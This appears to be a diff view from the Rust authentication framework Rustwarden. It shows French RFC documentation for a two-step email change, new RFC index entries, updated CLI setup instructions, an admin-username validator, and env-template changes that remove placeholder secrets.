| 1051 | +4. **`verify-email/{token}` agit toujours sur `GET`** — la page interstitielle n'a été imposée qu'au nouveau flux ; aligner l'ancien est un chantier distinct, avec sa propre compatibilité à gérer (les liens déjà envoyés doivent continuer de fonctionner). | |
| 1052 | + | |
| 1053 | +--- | |
| 1054 | + | |
| 1055 | +## Score d'évaluation | |
| 1056 | + | |
| 1057 | +Notes **arrêtées à l'acceptation du 2026-09-19**, après intégration des neuf arbitrages. Seuil Accepted : ≥ 25/35. | |
| 1058 | + | |
| 1059 | +| Critère | Note (1-5) | Commentaire | | |
| 1060 | +|---|---|---| | |
| 1061 | +| Généralité | 5 | Core uniquement, aucune dépendance UI — la contrainte headless posée sur les pages interstitielles le garantit désormais explicitement. Un point d'entrée unique pour Gitrust, `rustwarden-ui` et toute app headless, **utilisateur comme opérateur** (`admin_force_change`) ; remplace N implémentations divergentes. | | |
| 1062 | +| Stabilité API | 3 | Ajout pur côté items publics (**tout consommateur compile**), mais breaking comportemental assumé sur `update_profile` + une nouvelle table. Atténué : la v1 n'a jamais été publiée, personne ne migre depuis elle. Note inchangée malgré `admin_force_change` : c'est un ajout pur, et le consommateur qui changeait une adresse via `PUT /admin/users/{id}` était de toute façon déjà impacté par le breaking comportemental. | | |
| 1063 | +| Performance | 4 | Aucun hot path touché. Un bcrypt sur `request_change`, limité à 3/h par utilisateur et couvert par le budget IP ; un `SELECT` indexé et deux `UPDATE` sur `confirm_change`. Les `GET` interstitiels ajoutent un `SELECT` indexé sur un chemin rare et non authentifié ; la purge s'exécute sur une table de travail de petite taille. | | |
| 1064 | +| Sécurité | 5 | Supprime la classe des lock-out par changement d'adresse, exige une re-authentification mot de passe, révoque les sessions, alerte l'ancienne boîte avec un moyen d'action, trace dans `audit_logs` et `on_audit_event`. Les arbitrages **renforcent** encore ce critère : aucun `GET` n'écrit (immunité au préchargement des passerelles), le recours admin est authentifié par rôle et audité au lieu d'être un effet de bord, et l'invalidation des demandes de changement de mot de passe ne peut plus être perdue par un consommateur sans UI. | | |
| 1065 | +| Complexité d'implémentation | 1 | **Abaissée de 2 à 1 le 2026-09-19** : les arbitrages élargissent nettement le périmètre. Au chantier initial (migration + modèle + service + 3 templates × 6 locales + retrait du code v1 — `update_profile` L277-301 et `notify_email_change` L327-419 — + adaptation UI minimale) s'ajoutent : `admin_force_change` avec sa vérification de rôle et son audit propre, **5 routes au lieu de 3** (page interstitielle `GET` → `POST` sur les deux liens), un rendu HTML autoportant sans templating ni JS avec ses propres libellés i18n, un **4ᵉ** template d'e-mail, et un `PendingEmailChangeCleanupProcessor`. C'est le chantier le plus lourd du train, de loin. | | |
| 1066 | +| Charge de maintenance | 3 | Une table de plus avec politique de rétention et PII en clair ; ~24 blocs de traduction (4 e-mails + pages interstitielles × 6 locales) ; deux flux de tokens à garder cohérents avec `EmailValidationService` ; un processeur de purge de plus dans le catalogue — mais non démarré par défaut, donc sans coût d'exploitation imposé. Compensé par la suppression du code v1 et de ses cas limites, et par le fait qu'aucune variable d'environnement n'est ajoutée. | | |
| 1067 | +| Documentation | 5 | **Relevée de 4 à 5 le 2026-09-19** : la déduction portait sur le recours admin « resté en Open question », qui est désormais spécifié, testé et documenté de bout en bout (rustdoc, séquence, migration guide). RFC + CHANGELOG + MIGRATION_GUIDE + SERVICES_REFERENCE + security-model + rustdoc anglais et doctest sur chaque item public, y compris le processeur de purge et sa non-activation par défaut. L'UI complète reste à faire, mais c'est un **Non-goal explicite** assorti d'un follow-up nommé — une décision documentée, pas un trou de documentation. | | |
| 1068 | +| **Total** | **26/35** | Inchangé : −1 sur la complexité d'implémentation (périmètre élargi par les décisions 1, 3 et 6), +1 sur la documentation (les neuf Open questions sont tranchées et leurs conséquences écrites). ≥ 25 → **Accepted**, implémentable. | | |
| 1069 | + | |
| 1070 | +**Lecture de l'ajustement.** Le total identique n'est pas une commodité : les arbitrages ont déplacé du coût depuis l'incertitude (« on verra à l'implémentation ») vers le travail explicite (« il y a 5 routes, une page HTML à écrire, une méthode admin et un processeur »). Le périmètre a grossi — d'où le −1 en complexité — mais il n'y a plus de zone non spécifiée — d'où le +1 en documentation. Le seuil de 25 reste franchi avec une marge de 1 point ; l'implémentation devra rester dans le périmètre décrit, toute extension supplémentaire justifiant une nouvelle RFC plutôt qu'un élargissement silencieux de celle-ci. |
M
docs/rfcs/README.md
+13
-0
@@ -87,9 +87,22 @@ Score minimum **25/35** pour passer en `Accepted`. Voir grille détaillée dans
| 87 | 87 | | 0026-0028 | _réservés_ pour travaux framework en cours (cf. backlog interne) | — | — | — | |
| 88 | 88 | | [0029](0029-fediverse-remote-resource-shares.md) | Fediverse — `RemoteResourceShareService` (partages cross-instance de ressources génériques) | **Accepted** (33/35, livré + 11 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 | |
| 89 | 89 | | [0030](0030-fediverse-remote-personal-access-tokens.md) | Fediverse — `RemotePersonalAccessTokenService` (PAT pour identités remote) | **Accepted** (34/35, livré + 20 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 | |
| 90 | +| [0031](0031-auth-service-optional-fallback.md) | Auth — fallback `AuthConfig::from_env()` sur la branche optional de `AuthService` | **Accepted** (implémenté 2026-05-16) | EBO (gitrust) | 2026-05-16 | | |
| 91 | +| [0032](0032-fediverse-event-observer-delete-actor.md) | Fediverse — `on_delete_actor` sur `FediverseEventObserver` | **Draft** | EBO (gitrust) | 2026-05-17 | | |
| 92 | +| [0033](0033-fediverse-delete-actor-hooks-unification.md) | Fediverse — unifier `apply_delete_actor*` derrière `DeleteActorHooks` | **Implemented** | EBO | 2026-05-17 | | |
| 93 | +| [0034](0034-edition-2024-fmt-cleanup.md) | Workspace — cleanup rustfmt après migration édition 2024 | **Draft** | EBO (gitrust) | 2026-05-18 | | |
| 94 | +| [0035](0035-oauth-pkce-code-verifier.md) | OAuth — envoyer `code_verifier` PKCE à l'échange (GitHub & Discord) | **Implemented** (2026-06-18) | PasterMan | 2026-06-18 | | |
| 95 | +| [0036](0036-username-charset-validation.md) | Auth — newtype `Username` (charset GitHub-like, audit M-1) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / Rustwarden 1.0.1) | 2026-09-18 | | |
| 96 | +| [0037](0037-totp-last-used-step.md) | Auth — persister `last_used_step` TOTP (anti-rejeu multi-instance, audit M-7) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 97 | +| [0038](0038-email-change-revalidation.md) | Auth — revalidation e-mail à `UserService::update_profile` | **Superseded by [0041](0041-pending-email-changes.md)** (2026-09-19 ; était Accepted 2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 98 | +| [0039](0039-security-headers-config.md) | HTTP — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 99 | +| [0040](0040-authenticate-user-email-verified.md) | Auth — `authenticate_user` honore `validation_email_required` | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 | | |
| 100 | +| [0041](0041-pending-email-changes.md) | Auth — changement d'e-mail en deux temps (`pending_email_changes`) — **remplace la [0038](0038-email-change-revalidation.md)** | **Accepted** (2026-09-19) | EBO (origine audit Gitrust / suite de la RFC 0038) | 2026-09-19 | | |
| 90 | 101 | |
| 91 | 102 | À mesure que les RFCs sont créées, elles doivent apparaître dans cette table avec leur statut courant. |
| 92 | 103 | |
| 104 | +> **Note sur la RFC 0038** : sa v1 (écriture immédiate de `users.email` + un-verify) n'a **jamais été diffusée** — le train `1.1.0` n'était pas coupé au moment de sa substitution. La [RFC 0041](0041-pending-email-changes.md) la remplace dans le **même** train : les consommateurs ne verront jamais le comportement v1. Le document 0038 est conservé intact comme trace de décision. | |
| 105 | + | |
| 93 | 106 | > **Note sur les RFCs 0029-0030** : ces deux RFCs trouvent leur origine côté gitrust (premier consommateur), tracking dans [`gitrust/`](gitrust/), évaluation détaillée dans [`docs/plans/2026-05-15-rfcs-gitrust-evaluation.md`](../plans/2026-05-15-rfcs-gitrust-evaluation.md). Une 3ᵉ RFC initialement proposée (`gitrust-0003 RemoteTeamMembershipService`) a été **rejetée** car la capacité est déjà livrée par les RFCs 0008/0009. |
| 94 | 107 | |
| 95 | 108 | ## RFCs liées au plan fediverse |
M
tools/rustwarden-cli/README.md
+10
-2
@@ -149,7 +149,9 @@ Apres la copie des crates et des ressources, le wizard effectue automatiquement
| 149 | 149 | ```bash |
| 150 | 150 | cd mon-app |
| 151 | 151 | |
| 152 | -# 1. Demarrer PostgreSQL | |
| 152 | +# 1. PostgreSQL n'ecoute que 127.0.0.1:5432. Copier env.sample vers .env | |
| 153 | +# et definir POSTGRES_PASSWORD (obligatoire, pas de mot de passe par defaut). | |
| 154 | +cp database/env.sample database/.env | |
| 153 | 155 | cd database && docker compose up -d && cd .. |
| 154 | 156 | |
| 155 | 157 | # 2. Lancer l'application |
@@ -188,6 +190,9 @@ cargo run -p rustwarden-cli -- update-project
| 188 | 190 | | `locales/` | Remplace | |
| 189 | 191 | | `static/` | Remplace (si le projet a une UI) | |
| 190 | 192 | | `database/` | Remplace en preservant `database/.env` | |
| 193 | +| `docs/SERVICES_REFERENCE.md` | Ecrase depuis le framework (source de verite API) | | |
| 194 | +| `docs/MIGRATION_GUIDE.md` | Ecrase depuis le framework (breaking + actions consommateur) | | |
| 195 | +| `docs/fediverse-consumer-guide.md` | Ecrase si le projet a la federation | | |
| 191 | 196 | |
| 192 | 197 | ### Fichiers jamais touches |
| 193 | 198 |
@@ -215,7 +220,10 @@ cargo clippy -- -D warnings
| 215 | 220 | # 3. Verifier les migrations |
| 216 | 221 | cargo run --bin migrate |
| 217 | 222 | |
| 218 | -# 4. Lancer les tests | |
| 223 | +# 4. Lire les notes consommateur (dont Security 1.0.1) | |
| 224 | +# docs/MIGRATION_GUIDE.md puis docs/SERVICES_REFERENCE.md (bandeau) | |
| 225 | + | |
| 226 | +# 5. Lancer les tests | |
| 219 | 227 | cargo test |
| 220 | 228 | ``` |
| 221 | 229 |
M
tools/rustwarden-cli/src/start_project.rs
+42
-0
@@ -352,11 +352,53 @@ fn ask_database_config(
| 352 | 352 | Ok((db_name, db_user, db_password)) |
| 353 | 353 | } |
| 354 | 354 | |
| 355 | +/// Validate an admin username against the RFC 0036 charset rules. | |
| 356 | +/// | |
| 357 | +/// The framework's `Username::parse_allow_reserved` is `pub(crate)` inside | |
| 358 | +/// `rustwarden-core`, so it cannot be reused here; the rule is reimplemented | |
| 359 | +/// locally and kept in sync manually. | |
| 360 | +/// Source of truth: `docs/rfcs/0036-username-charset-validation.md` and | |
| 361 | +/// `crates/rustwarden-core/src/types/username.rs`. | |
| 362 | +/// | |
| 363 | +/// Reserved names (`admin`, …) are deliberately accepted: the bootstrap path | |
| 364 | +/// (`ensure_default_admin`) goes through `parse_allow_reserved`. | |
| 365 | +fn validate_admin_username(raw: &str) -> Result<(), String> { | |
| 366 | + const RULE: &str = "minuscules, chiffres et tirets uniquement, 3 à 39 caractères, \ | |
| 367 | + sans '--', sans tiret en début ou en fin"; | |
| 368 | + | |
| 369 | + let s = raw.trim(); | |
| 370 | + if s.len() < 3 || s.len() > 39 { | |
| 371 | + return Err(format!( | |
| 372 | + "Username admin invalide ({RULE}) : longueur hors 3-39" | |
| 373 | + )); | |
| 374 | + } | |
| 375 | + if s.starts_with('-') || s.ends_with('-') { | |
| 376 | + return Err(format!( | |
| 377 | + "Username admin invalide ({RULE}) : tiret en début ou en fin" | |
| 378 | + )); | |
| 379 | + } | |
| 380 | + if s.contains("--") { | |
| 381 | + return Err(format!("Username admin invalide ({RULE}) : '--' interdit")); | |
| 382 | + } | |
| 383 | + if !s | |
| 384 | + .chars() | |
| 385 | + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 386 | + { | |
| 387 | + return Err(format!( | |
| 388 | + "Username admin invalide ({RULE}) : caractère hors [a-z0-9-] \ | |
| 389 | + (les majuscules sont refusées, pas de '_' ni de '.')" | |
| 390 | + )); | |
| 391 | + } | |
| 392 | + Ok(()) | |
| 393 | +} | |
| 394 | + | |
| 355 | 395 | fn ask_admin_config() -> Result<(String, String, String), Box<dyn std::error::Error>> { |
| 356 | 396 | let username: String = Input::new() |
| 357 | 397 | .with_prompt(format!("{}", style("Username admin").cyan())) |
| 358 | 398 | .default("admin".into()) |
| 399 | + .validate_with(|input: &String| -> Result<(), String> { validate_admin_username(input) }) | |
| 359 | 400 | .interact_text()?; |
| 401 | + let username = username.trim().to_string(); | |
| 360 | 402 | |
| 361 | 403 | let email: String = Input::new() |
| 362 | 404 | .with_prompt(format!("{}", style("Email admin").cyan())) |
M
tools/rustwarden-cli/src/templates.rs
+15
-2
@@ -365,6 +365,17 @@ async fn whoami(
| 365 | 365 | // |
| 366 | 366 | // Voir: docs/SERVICES_REFERENCE.md#7-tokens-et-sessions |
| 367 | 367 | // |
| 368 | +// Purge des demandes de changement d'e-mail expirees (RFC 0041). | |
| 369 | +// Comme ci-dessus, le framework ne demarre pas ce processeur : retention de | |
| 370 | +// 30 jours apres expiration, aucune variable d'environnement a definir. Sans | |
| 371 | +// lui, seule une purge opportuniste limitee a l'utilisateur courant s'execute | |
| 372 | +// a chaque nouvelle demande. | |
| 373 | +// | |
| 374 | +// // use rustwarden_core::prelude::PendingEmailChangeCleanupProcessor; | |
| 375 | +// // PendingEmailChangeCleanupProcessor::new(db_arc.clone()).start(); | |
| 376 | +// | |
| 377 | +// Voir: docs/SERVICES_REFERENCE.md#emailchangeservice | |
| 378 | +// | |
| 368 | 379 | // Hooks lifecycle (on_user_registered, on_team_created, on_totp_enabled, ...). |
| 369 | 380 | // Implementer `RustwardenHooks` et passer l'instance via `.hooks(MyHooks)` au |
| 370 | 381 | // builder. Voir DEVELOPER.md §12. |
@@ -608,7 +619,8 @@ SERVER_PORT=3000
| 608 | 619 | RUST_LOG=debug |
| 609 | 620 | |
| 610 | 621 | # --- JWT --- |
| 611 | -JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE | |
| 622 | +# Required. Generate a unique secret, e.g.: openssl rand -hex 32 | |
| 623 | +# JWT_SECRET= | |
| 612 | 624 | JWT_EXPIRATION_MINUTES=15 |
| 613 | 625 | JWT_ISSUER=mon-app |
| 614 | 626 | REFRESH_TOKEN_EXPIRATION_DAYS=7 |
@@ -631,7 +643,8 @@ COOKIE_SAME_SITE=Lax
| 631 | 643 | # --- Admin initial --- |
| 632 | 644 | ADMIN_USERNAME=admin |
| 633 | 645 | ADMIN_EMAIL=admin@example.com |
| 634 | -ADMIN_PASSWORD=REMPLACER_PAR_UN_MOT_DE_PASSE_FORT | |
| 646 | +# ADMIN_PASSWORD — requis pour creer l'admin au premier boot ; omettre pour ignorer. | |
| 647 | +# Ne pas copier un placeholder. | |
| 635 | 648 | |
| 636 | 649 | # --- Email SMTP --- |
| 637 | 650 | SMTP_HOST=smtp.example.com |
GitRust